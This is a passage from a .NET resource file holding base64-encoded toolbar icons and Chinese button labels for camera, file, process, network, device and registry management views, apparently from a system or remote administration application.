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
|
||||
QmCC
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtoncamera.Text" xml:space="preserve">
|
||||
<value>摄像头</value>
|
||||
</data>
|
||||
<data name="toolStripButtonfile.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonfile.Text" xml:space="preserve">
|
||||
<value>文件管理</value>
|
||||
</data>
|
||||
<data name="toolStripButtonprocess.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonprocess.Text" xml:space="preserve">
|
||||
<value>进程管理</value>
|
||||
</data>
|
||||
<data name="toolStripButtonnetwork.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
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
|
||||
gg==
|
||||
</value>
|
||||
</data>
|
||||
<data name="toolStripButtonnetwork.Text" xml:space="preserve">
|
||||
<value>网络连接</value>
|
||||
</data>
|
||||
<data name="toolStripButtondevice.Text" xml:space="preserve">
|
||||
<value>设备管理器</value>
|
||||
</data>
|
||||
<data name="toolStripButtonicon.Text" xml:space="preserve">
|
||||
<value>缩略图</value>
|
||||
</data>
|
||||
<data name="toolStripButtondetails.Text" xml:space="preserve">
|
||||
<value>列表</value>
|
||||
</data>
|
||||
<data name="toolStripButtonregedit.Text" xml:space="preserve">
|
||||
<value>注册表</value>
|
||||
</data>
|
||||
